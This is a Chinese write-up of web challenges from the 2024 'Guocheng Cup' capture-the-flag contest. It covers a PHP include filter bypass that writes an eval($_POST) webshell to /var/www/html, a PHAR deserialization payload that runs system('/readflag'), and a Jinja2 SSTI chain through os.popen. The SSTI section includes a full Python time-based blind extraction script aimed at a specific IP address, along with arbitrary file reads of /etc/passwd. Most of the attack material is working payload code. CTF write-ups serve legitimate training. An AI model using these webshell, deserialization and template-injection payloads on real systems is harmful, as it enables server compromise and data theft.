2024“国城杯”网络安全挑战大赛web方向部分wp
字数 725 2025-08-22 18:37:15
2024"国城杯"网络安全挑战大赛Web方向解题报告
目录
WMCTF2020_Web_Checkin题目复现
题目发现
- 通过目录扫描发现
.index.php.swp文件 - 存在guest账户:
guest:MyF3iend
关键代码分析
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest') {
$_SESSION['error'] = 'Please fill in the username and password';
header('Location: index.php');
exit();
}
if (!isset($_GET['path'])) {
header("Location: /guest.php?path=/tmp/hello.php");
exit;
}
$path = $_GET['path'];
if (preg_match('/php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
echo "Don't do this";
} else {
include($path);
}
?>
漏洞利用
- 二次URL编码绕过:使用双重URL编码绕过过滤
- PHP链子生成:使用提供的工具生成PHP链子
- 写马操作:
1=echo+PD9waHAgZXZhbCgkX1BPU1RbMV0pOzs/Pg%3d%3d|base64+-d>/var/www/html/1.php
n0ob_un4er题目解析
题目源码分析
<?php
$SECRET = `/readsecret`;
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode('-----', $data);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ($data->role === "user") {
game($_GET["filename"]);
} else if($data->role === "admin") {
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
} else {
highlight_file(__FILE__);
check_session();
}
解题思路
- 伪造签名:尝试伪造HMAC签名
- PHAR反序列化:利用copy函数触发PHAR反序列化
- 参考题目:
- LCTF 2018的T4lk 1s ch34p,sh0w m3 the sh31l
- hitcon2017-Baby-H-master-php-2017
- 参考题目:
- PHAR文件生成:
<?php
highlight_file(__FILE__);
class Admin{
public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
PHAR文件编码
cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
关键点
- 需要进行3次base64解码来消去垃圾数据
- 编码后的PHAR文件需要连续进行3次base64编码
- 确保payload填充位数,使之连续3次base64编码都不会出现"="
Ez_Gallery题目分析
漏洞发现
- 任意文件读取:
http://125.70.243.22:31462/info?file=/etc/passwd http://125.70.243.22:31462/info?file=../../app.py
关键代码分析
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*',
r'.*count.*',
r'.*[0-9].*',
r'.*soft.*',
r'.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
漏洞利用
- SSTI注入:绕过黑名单过滤
- 过滤了点号和数字
- 使用
attr()方法替代点号访问属性
- Bash时间盲注:
- 使用
wc -m命令绕过数字限制 $(echo ABCD | wc -m)输出5
- 使用
- 关键payload:
"{{(lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('a=`/readflag` && if [ `echo $a|cut -c $(echo " + position + " | wc -m)` = \"" + i + "\" ]\nthen\n\tsleep $(echo ABCDE | wc -m)\nfi'))|attr('read')()}}"
解题脚本
import string
import requests
import time
a=''
url = 'http://125.70.243.22:31462/shell'
cookies = {"session":"I4tiZVB2Ta5DNRID3WMauUNYWoR72h7NHHROR6mw6odXP_IPuLQW7xTtmJ1qr-ToNXTulB6n84dn98j5phvBt1sxNzMzNjU3OTYxLCAxNzMzNTUxNTUxLjIwNzgxNSwgeyJ1c2VybmFtZSI6ICJhZG1pbiJ9XQ"}
s = string.ascii_letters+"0"+"1"+"2"+"3"+"4"+"5"+"6"+"7"+"8"+"9"
flag=''
for j in range(0,50):
position='B'*j
print(len(position))
for i in s:
if i == "1" or i == "2" or i == "3" or i == "4" or i == "5" or i == "6" or i == "7" or i == "8" or i == "9":
a = "$(echo " + "B" * (int(i)-1) + " | wc -m)"
params = {
"shellcmd": "{{(lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('a=`/readflag` && if [ `echo $a|cut -c $(echo " + position + " | wc -m)` = \"" + i + "\" ]\nthen\n\tsleep $(echo ABCDE | wc -m)\nfi'))|attr('read')()}}"
}
start_time = time.time()
response = requests.get(url, cookies=cookies, params=params)
elapsed_time = time.time() - start_time
if elapsed_time > 3:
flag+=i
print(flag)
break
if i=="9":
flag+="0"
print(flag)
最终结果
成功获取根目录内容:
app3bin0dev0etc0flag9home0lib0media0mnt0opt0proc0readflag0root0run0sbin0srv0sys0